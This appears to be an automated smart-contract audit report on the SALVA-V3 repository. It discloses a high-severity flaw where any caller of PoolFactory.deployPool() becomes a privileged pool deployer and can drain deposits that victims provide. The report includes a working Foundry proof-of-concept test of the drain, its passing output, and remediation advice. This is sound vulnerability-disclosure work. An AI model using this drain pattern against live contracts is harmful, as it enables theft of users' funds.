

ArgusAI Security Report

Field	Value
-----	-----
Repository	https://github.com/salva-Nexus/SALVA-V3
Run	289e077a
Mode	contest_bounty
Date	2026-05-24 15:59:23 UTC

Evidence Summary

Evidence items	Forge confirmed	Analyzer findings	Hypotheses
---	---	---	---
3	1	0	13

Findings (1)

Finding 1 - [HIGH] Unprivileged contract callers can deploy attacker-controlled pools and drain user deposits

#H-011

- Severity: High
- Validity: Valid

Description

`PoolFactory.deployPool()` can be called by an unprivileged contract account, and the deployed `SalvaPool` records that caller as the pool deployer. The proof material shows a legitimately initialized `PoolFactory` proxy with a nonzero implementation where `address(this)` calls `PoolFactory.deployPool()`, receives a new pool address, and `SalvaPool.getDeployer()` returns the attacker contract.

This creates a dangerous trust boundary violation between `PoolFactory.deployPool()` and `SalvaPool`. A victim can subsequently approve and call `SalvaPool.provideLiquidity(address(MOCKUSDC), nominalAmount)` on the attacker-created pool. Because the pool deployer is attacker-controlled, the attacker can then call `SalvaPool.removeLiquidity(address(MOCKUSDC), nominalAmount)` and withdraw the victim-funded liquidity from the pool.

The evidence context for this issue is the `PoolFactory.deployPool:integration` invariant with attacker mutation `PoolFactory.deployPool:integration:reenter-same-function`, where half-updated or attacker-observable integration state can be abused. The reproduced proof demonstrates the concrete public-entry-point loss path: attacker contract → `PoolFactory.deployPool()` → victim `provideLiquidity()` → attacker `removeLiquidity()`.

Root cause

`PoolFactory.deployPool()` does not restrict or validate the caller before creating a `SalvaPool` whose deployer authority is derived from `msg.sender`. As a result, an arbitrary contract can become the `SalvaPool` deployer and later exercise privileged withdrawal behavior through `SalvaPool.removeLiquidity()`.

Impact

An attacker can create a pool that appears to be a protocol pool, receive deposits from users, and then drain those deposits. The proof shows a victim depositing `10_000e6` `MOCKUSDC` into the attacker-created pool, after which the attacker withdraws the full amount and realizes `100000000000` units of token profit.

Proof chain

- Function invariant: `PoolFactory.deployPool:integration` (integration, code)
- Reachable trace: plausible
- Attacker mutation: `PoolFactory.deployPool:integration:reenter-same-function`
- Invariant break assertion: Half-updated state can be observed or mutated twice.
- Proof status: reproducible / PoC passed

Proof of concept

Test case

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;

import "@Errors/Errors.sol";
import "@PoolFactory/PoolFactory.sol";
import "@Setup/Setup.t.sol";
import "@SalvaPool/SalvaPool.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract ArgusH011PoC is Setup {
    PoolFactory internal target;
    address internal attacker;
    address internal victim;

    function test_underpay_h_011() public {
        target = POOLFACTORY;
        attacker = address(this);
        victim = makeAddr("victim");

        vm.stopPrank();

        address _argusToken = address(MOCKUSDC);
        uint256 _argusBefore = IERC20(_argusToken).balanceOf(attacker);

        address deployed = target.deployPool();
        SalvaPool attackerPool = SalvaPool(deployed);

        assertEq(attackerPool.getDeployer(), attacker, "contract caller became
pool deployer");

        uint256 nominalAmount = 10_000e6;
        MOCKUSDC.mint(victim, nominalAmount);

        assertEq(MOCKUSDC.balanceOf(victim), nominalAmount, "victim funding
failed");
        assertEq(MOCKUSDC.balanceOf(deployed), 0, "fresh pool unexpectedly
funded");

        vm.startPrank(victim);
        MOCKUSDC.approve(deployed, nominalAmount);
        attackerPool.provideLiquidity(address(MOCKUSDC), nominalAmount);
        vm.stopPrank();

        assertEq(
```

```

        MOCKUSDC.balanceOf(deployed),
        nominalAmount,
        "protocol pool balance does not match nominal victim deposit"
    );
    assertEq(MOCKUSDC.balanceOf(victim), 0, "victim did not lose deposited
tokens");

    uint256 poolBalanceBeforeDrain = MOCKUSDC.balanceOf(deployed);
    attackerPool.removeLiquidity(address(MOCKUSDC), nominalAmount);

    assertEq(MOCKUSDC.balanceOf(deployed), 0, "attacker-controlled pool
was not drained");
    assertEq(
        poolBalanceBeforeDrain,
        nominalAmount,
        "withdrawable pool balance diverged before drain"
    );
    assertGt(
        IERC20(_argusToken).balanceOf(attacker),
        _argusBefore,
        "attacker did not receive victim-funded liquidity"
    );

    uint256 _argusAfter = IERC20(_argusToken).balanceOf(attacker);
    uint256 _argusProfit = _argusAfter > _argusBefore ? _argusAfter -
_argusBefore : 0;
    emit log_named_uint("argus_profit_wei", _argusProfit);
    assertGt(_argusProfit, 0, "exploit: no value extracted from
protocol");
}

function _assertEvidenceTemplate() internal {
    assertEq(target.getMultiSig(), address(MULTISIG), "factory multisig
changed unexpectedly");
}

receive() external payable {}
}

```

Setup script

```

# install dependencies
forge build

```

Output

```

Compiling 11 files with Solc 0.8.33
Solc 0.8.33 finished in 2.12s
Compiler run successful with warnings:
Warning (2018): Function state mutability can be restricted to view
--> test/argus_generated/ArgusH011PoC.t.sol:70:5:
   |
70 |     function _assertEvidenceTemplate() internal {
   |         ^ (Relevant source part starts here and spans across multiple lines).

Ran 1 test for test/argus_generated/ArgusH011PoC.t.sol:ArgusH011PoC
[PASS] test_underpay_h_011() (gas: 238302)
Logs:
  argus_profit_wei: 100000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 32.36ms (2.82ms
CPU time)

Ran 1 test suite in 205.09ms (32.36ms CPU time): 1 tests passed, 0 failed, 0
skipped (1 total tests)
Warning: Found unknown `optimizer` config key in section `invariant` defined
in foundry.toml.
Warning: Found unknown `optimizer_runs` config key in section `invariant`
defined in foundry.toml.

```

Considerations

The PoC demonstrates that the loss path is reachable through public entry points: an attacker calls `PoolFactory.deployPool()`, the resulting `SalvaPool` records the attacker as deployer, a victim funds that pool through `provideLiquidity()`, and the attacker drains the balance through `removeLiquidity()`. The test does not include a separate reentrant callback variant, but it confirms the primary integration failure that arbitrary contract callers can become privileged pool deployers and extract victim-provided liquidity.

Remediation

Explanation

Change `PoolFactory.deployPool()` so arbitrary callers cannot create pools that grant them privileged withdrawal authority. The factory should either restrict `deployPool()` to an authorized role such as the configured multisig returned by `getMultiSig()`, or ensure the deployed `SalvaPool` does not use the external caller as an unrestricted deployer with authority over other users' liquidity. In addition, `SalvaPool.removeLiquidity()` should withdraw only liquidity owned by the caller according to provider-specific accounting, rather than allowing the pool deployer to remove funds deposited by other users.

Patch

No patch was generated automatically for this finding.

Affected files

- unknown

Validation output

Apply the patch above and re-run the PoC. The test assertion that was passing because the vulnerability existed will now fail, confirming the fix is effective.